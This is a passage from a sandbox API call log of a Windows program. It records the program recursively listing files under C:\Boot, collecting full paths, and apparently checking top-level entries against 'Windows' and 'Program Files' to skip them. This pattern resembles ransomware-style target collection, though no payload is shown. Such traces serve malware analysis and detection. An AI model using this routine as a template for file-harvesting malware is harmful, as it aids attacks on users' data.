lpString2="..") returned 1 [0029.691] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.691] lstrlenW (lpString="nl-NL") returned 5 [0029.691] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="nl-NL" | out: lpString1="c:\\Boot\\nl-NL") returned="c:\\Boot\\nl-NL" [0029.691] lstrcatW (in: lpString1="c:\\Boot\\nl-NL", lpString2="\\" | out: lpString1="c:\\Boot\\nl-NL\\") returned="c:\\Boot\\nl-NL\\" [0029.691] lstrlenW (lpString="c:\\Boot\\nl-NL\\") returned 14 [0029.691] lstrcatW (in: lpString1="c:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="c:\\Boot\\nl-NL\\*") returned="c:\\Boot\\nl-NL\\*" [0029.691] FindFirstFileW (in: lpFileName="c:\\Boot\\nl-NL\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.697] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.697] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.697] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.697] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.697] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.697] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.697] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.698] lstrlenW (lpString="c:\\Boot\\nl-NL\\") returned 14 [0029.698] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.698] lstrcatW (in: lpString1="c:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="c:\\Boot\\nl-NL\\bootmgr.exe.mui" [0029.698] lstrlenW (lpString="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0029.698] lstrcpyW (in: lpString1=0x262fc0, lpString2="c:\\Boot\\nl-NL\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="c:\\Boot\\nl-NL\\bootmgr.exe.mui" [0029.698] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.698] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.698] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.698] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0029.698] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0029.698] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.698] lstrlenW (lpString="pl-PL") returned 5 [0029.698] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pl-PL" | out: lpString1="c:\\Boot\\pl-PL") returned="c:\\Boot\\pl-PL" [0029.698] lstrcatW (in: lpString1="c:\\Boot\\pl-PL", lpString2="\\" | out: lpString1="c:\\Boot\\pl-PL\\") returned="c:\\Boot\\pl-PL\\" [0029.698] lstrlenW (lpString="c:\\Boot\\pl-PL\\") returned 14 [0029.698] lstrcatW (in: lpString1="c:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="c:\\Boot\\pl-PL\\*") returned="c:\\Boot\\pl-PL\\*" [0029.698] FindFirstFileW (in: lpFileName="c:\\Boot\\pl-PL\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.698] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.698] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.698] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.698] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.698] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.698] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.698] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.698] lstrlenW (lpString="c:\\Boot\\pl-PL\\") returned 14 [0029.698] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.698] lstrcatW (in: lpString1="c:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="c:\\Boot\\pl-PL\\bootmgr.exe.mui" [0029.698] lstrlenW (lpString="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0029.698] lstrcpyW (in: lpString1=0x263008, lpString2="c:\\Boot\\pl-PL\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="c:\\Boot\\pl-PL\\bootmgr.exe.mui" [0029.698] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.698] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.698] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.698] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0029.698] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0029.698] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.698] lstrlenW (lpString="pt-BR") returned 5 [0029.698] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pt-BR" | out: lpString1="c:\\Boot\\pt-BR") returned="c:\\Boot\\pt-BR" [0029.698] lstrcatW (in: lpString1="c:\\Boot\\pt-BR", lpString2="\\" | out: lpString1="c:\\Boot\\pt-BR\\") returned="c:\\Boot\\pt-BR\\" [0029.699] lstrlenW (lpString="c:\\Boot\\pt-BR\\") returned 14 [0029.699] lstrcatW (in: lpString1="c:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="c:\\Boot\\pt-BR\\*") returned="c:\\Boot\\pt-BR\\*" [0029.699] FindFirstFileW (in: lpFileName="c:\\Boot\\pt-BR\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.709] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.709] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.709] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.709] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.709] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.709] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.709] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.709] lstrlenW (lpString="c:\\Boot\\pt-BR\\") returned 14 [0029.709] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.709] lstrcatW (in: lpString1="c:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="c:\\Boot\\pt-BR\\bootmgr.exe.mui" [0029.709] lstrlenW (lpString="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0029.709] lstrcpyW (in: lpString1=0x263050, lpString2="c:\\Boot\\pt-BR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="c:\\Boot\\pt-BR\\bootmgr.exe.mui" [0029.709] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.709] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.709] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.709] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0029.709] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0029.709] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.709] lstrlenW (lpString="pt-PT") returned 5 [0029.709] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pt-PT" | out: lpString1="c:\\Boot\\pt-PT") returned="c:\\Boot\\pt-PT" [0029.709] lstrcatW (in: lpString1="c:\\Boot\\pt-PT", lpString2="\\" | out: lpString1="c:\\Boot\\pt-PT\\") returned="c:\\Boot\\pt-PT\\" [0029.709] lstrlenW (lpString="c:\\Boot\\pt-PT\\") returned 14 [0029.709] lstrcatW (in: lpString1="c:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="c:\\Boot\\pt-PT\\*") returned="c:\\Boot\\pt-PT\\*" [0029.709] FindFirstFileW (in: lpFileName="c:\\Boot\\pt-PT\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.710] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.710] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.710] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.710] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.710] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.710] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.710] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.710] lstrlenW (lpString="c:\\Boot\\pt-PT\\") returned 14 [0029.710] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.710] lstrcatW (in: lpString1="c:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="c:\\Boot\\pt-PT\\bootmgr.exe.mui" [0029.710] lstrlenW (lpString="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0029.710] lstrcpyW (in: lpString1=0x26d900, lpString2="c:\\Boot\\pt-PT\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="c:\\Boot\\pt-PT\\bootmgr.exe.mui" [0029.710] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.710] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.710] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.710] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0029.710] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0029.710] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.710] lstrlenW (lpString="ru-RU") returned 5 [0029.710] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ru-RU" | out: lpString1="c:\\Boot\\ru-RU") returned="c:\\Boot\\ru-RU" [0029.710] lstrcatW (in: lpString1="c:\\Boot\\ru-RU", lpString2="\\" | out: lpString1="c:\\Boot\\ru-RU\\") returned="c:\\Boot\\ru-RU\\" [0029.710] lstrlenW (lpString="c:\\Boot\\ru-RU\\") returned 14 [0029.710] lstrcatW (in: lpString1="c:\\Boot\\ru-RU\\", lpString2="*" | out: lpString1="c:\\Boot\\ru-RU\\*") returned="c:\\Boot\\ru-RU\\*" [0029.710] FindFirstFileW (in: lpFileName="c:\\Boot\\ru-RU\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.717] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.717] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.717] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.717] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.717] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.717] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.718] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.718] lstrlenW (lpString="c:\\Boot\\ru-RU\\") returned 14 [0029.718] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.718] lstrcatW (in: lpString1="c:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="c:\\Boot\\ru-RU\\bootmgr.exe.mui" [0029.718] lstrlenW (lpString="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0029.718] lstrcpyW (in: lpString1=0x26d960, lpString2="c:\\Boot\\ru-RU\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="c:\\Boot\\ru-RU\\bootmgr.exe.mui" [0029.718] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.718] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.718] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.718] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0029.718] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0029.718] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.718] lstrlenW (lpString="sv-SE") returned 5 [0029.718] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="sv-SE" | out: lpString1="c:\\Boot\\sv-SE") returned="c:\\Boot\\sv-SE" [0029.718] lstrcatW (in: lpString1="c:\\Boot\\sv-SE", lpString2="\\" | out: lpString1="c:\\Boot\\sv-SE\\") returned="c:\\Boot\\sv-SE\\" [0029.718] lstrlenW (lpString="c:\\Boot\\sv-SE\\") returned 14 [0029.718] lstrcatW (in: lpString1="c:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="c:\\Boot\\sv-SE\\*") returned="c:\\Boot\\sv-SE\\*" [0029.718] FindFirstFileW (in: lpFileName="c:\\Boot\\sv-SE\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.718] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.718] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.718] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.718] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.718] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.718] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.718] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.718] lstrlenW (lpString="c:\\Boot\\sv-SE\\") returned 14 [0029.718] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.718] lstrcatW (in: lpString1="c:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="c:\\Boot\\sv-SE\\bootmgr.exe.mui" [0029.718] lstrlenW (lpString="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0029.718] lstrcpyW (in: lpString1=0x26d9a8, lpString2="c:\\Boot\\sv-SE\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="c:\\Boot\\sv-SE\\bootmgr.exe.mui" [0029.718] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.718] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.718] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.718] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0029.718] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0029.718] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.718] lstrlenW (lpString="tr-TR") returned 5 [0029.718] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="tr-TR" | out: lpString1="c:\\Boot\\tr-TR") returned="c:\\Boot\\tr-TR" [0029.718] lstrcatW (in: lpString1="c:\\Boot\\tr-TR", lpString2="\\" | out: lpString1="c:\\Boot\\tr-TR\\") returned="c:\\Boot\\tr-TR\\" [0029.719] lstrlenW (lpString="c:\\Boot\\tr-TR\\") returned 14 [0029.719] lstrcatW (in: lpString1="c:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="c:\\Boot\\tr-TR\\*") returned="c:\\Boot\\tr-TR\\*" [0029.719] FindFirstFileW (in: lpFileName="c:\\Boot\\tr-TR\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.729] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.729] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.729] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.729] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.729] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.729] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.729] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.729] lstrlenW (lpString="c:\\Boot\\tr-TR\\") returned 14 [0029.729] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.729] lstrcatW (in: lpString1="c:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="c:\\Boot\\tr-TR\\bootmgr.exe.mui" [0029.729] lstrlenW (lpString="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0029.729] lstrcpyW (in: lpString1=0x26d9f0, lpString2="c:\\Boot\\tr-TR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="c:\\Boot\\tr-TR\\bootmgr.exe.mui" [0029.729] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.729] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.729] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.729] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0029.729] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0029.729] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.729] lstrlenW (lpString="zh-CN") returned 5 [0029.729] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-CN" | out: lpString1="c:\\Boot\\zh-CN") returned="c:\\Boot\\zh-CN" [0029.729] lstrcatW (in: lpString1="c:\\Boot\\zh-CN", lpString2="\\" | out: lpString1="c:\\Boot\\zh-CN\\") returned="c:\\Boot\\zh-CN\\" [0029.730] lstrlenW (lpString="c:\\Boot\\zh-CN\\") returned 14 [0029.730] lstrcatW (in: lpString1="c:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-CN\\*") returned="c:\\Boot\\zh-CN\\*" [0029.730] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-CN\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.730] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.730] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.730] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.730] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.730] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.730] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.730] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.730] lstrlenW (lpString="c:\\Boot\\zh-CN\\") returned 14 [0029.730] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.730] lstrcatW (in: lpString1="c:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="c:\\Boot\\zh-CN\\bootmgr.exe.mui" [0029.730] lstrlenW (lpString="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0029.730] lstrcpyW (in: lpString1=0x26da38, lpString2="c:\\Boot\\zh-CN\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="c:\\Boot\\zh-CN\\bootmgr.exe.mui" [0029.730] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.730] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.730] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.730] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0029.730] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0029.730] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.730] lstrlenW (lpString="zh-HK") returned 5 [0029.730] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-HK" | out: lpString1="c:\\Boot\\zh-HK") returned="c:\\Boot\\zh-HK" [0029.730] lstrcatW (in: lpString1="c:\\Boot\\zh-HK", lpString2="\\" | out: lpString1="c:\\Boot\\zh-HK\\") returned="c:\\Boot\\zh-HK\\" [0029.730] lstrlenW (lpString="c:\\Boot\\zh-HK\\") returned 14 [0029.730] lstrcatW (in: lpString1="c:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-HK\\*") returned="c:\\Boot\\zh-HK\\*" [0029.730] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-HK\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.791] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.791] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.791] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.791] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.791] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.791] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.791] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.791] lstrlenW (lpString="c:\\Boot\\zh-HK\\") returned 14 [0029.791] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.791] lstrcatW (in: lpString1="c:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="c:\\Boot\\zh-HK\\bootmgr.exe.mui" [0029.791] lstrlenW (lpString="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0029.791] lstrcpyW (in: lpString1=0x26da80, lpString2="c:\\Boot\\zh-HK\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="c:\\Boot\\zh-HK\\bootmgr.exe.mui" [0029.791] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.791] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.791] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.791] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0029.791] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0029.791] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.791] lstrlenW (lpString="zh-TW") returned 5 [0029.791] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-TW" | out: lpString1="c:\\Boot\\zh-TW") returned="c:\\Boot\\zh-TW" [0029.791] lstrcatW (in: lpString1="c:\\Boot\\zh-TW", lpString2="\\" | out: lpString1="c:\\Boot\\zh-TW\\") returned="c:\\Boot\\zh-TW\\" [0029.791] lstrlenW (lpString="c:\\Boot\\zh-TW\\") returned 14 [0029.791] lstrcatW (in: lpString1="c:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-TW\\*") returned="c:\\Boot\\zh-TW\\*" [0029.791] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-TW\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.792] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.792] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.792] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.792] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.792] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.792] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.792] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.792] lstrlenW (lpString="c:\\Boot\\zh-TW\\") returned 14 [0029.792] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.792] lstrcatW (in: lpString1="c:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="c:\\Boot\\zh-TW\\bootmgr.exe.mui" [0029.792] lstrlenW (lpString="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0029.792] lstrcpyW (in: lpString1=0x26dac8, lpString2="c:\\Boot\\zh-TW\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="c:\\Boot\\zh-TW\\bootmgr.exe.mui" [0029.792] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.792] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.792] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 0 [0029.792] FindClose (in: hFindFile=0x7959e8 | out: hFindFile=0x7959e8) returned 1 [0029.792] FindNextFileW (in: hFindFile=0x7959a8, lpFindFileData=0x45f39c | out: lpFindFileData=0x45f39c) returned 1 [0029.792] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0029.792] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0029.792] lstrcmpW (lpString1="bootmgr", lpString2="Windows") returned -1 [0029.792] lstrcmpW (lpString1="bootmgr", lpString2="Program Files") returned -1 [0029.792] lstrlenW (lpString="c:\\") returned 3 [0029.792] lstrlenW (lpString="bootmgr") returned 7 [0029.792] lstrcatW (in: lpString1="c:\\", lpString2="bootmgr" | out: lpString1="c:\\bootmgr") returned="c:\\bootmgr" [0029.792] lstrlenW (lpString="c:\\bootmgr") returned 10 [0029.792] lstrcpyW (in: lpString1=0x26ed48, lpString2="c:\\bootmgr" | out: lpString1="c:\\bootmgr") returned="c:\\bootmgr" [0029.792] FindNextFileW (in: hFindFile=0x7959a8, lpFindFileData=0x45f39c | out: lpFindFileData=0x45f39c) returned 1 [0029.792] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0029.792] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0029.792] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Windows") returned -1 [0029.792] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Program Files") returned -1 [0029.792] lstrlenW (lpString="c:\\") returned 3 [0029.792] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0029.792] lstrcatW (in: lpString1="c:\\", lpString2="BOOTSECT.BAK" | out: lpString1="c:\\BOOTSECT.BAK") returned="c:\\BOOTSECT.BAK" [0029.792] lstrlenW (lpString="c:\\BOOTSECT.BAK") returned 15 [0029.792] lstrcpyW (in: lpString1=0x26ed68, lpString2="c:\\BOOTSECT.BAK" | out: lpString1="c:\\BOOTSECT.BAK") returned="c:\\BOOTSECT.BAK" [0029.792] FindNextFileW (in: hFindFile=0x7959a8, lpFindFileData=0x45f39c | out: lpFindFileData=0x45f39c) returned 1 [0029.792] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0029.792] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0029.792] lstrcmpW (lpString1="Documents and Settings", lpString2="Windows") returned -1 [0029.792] 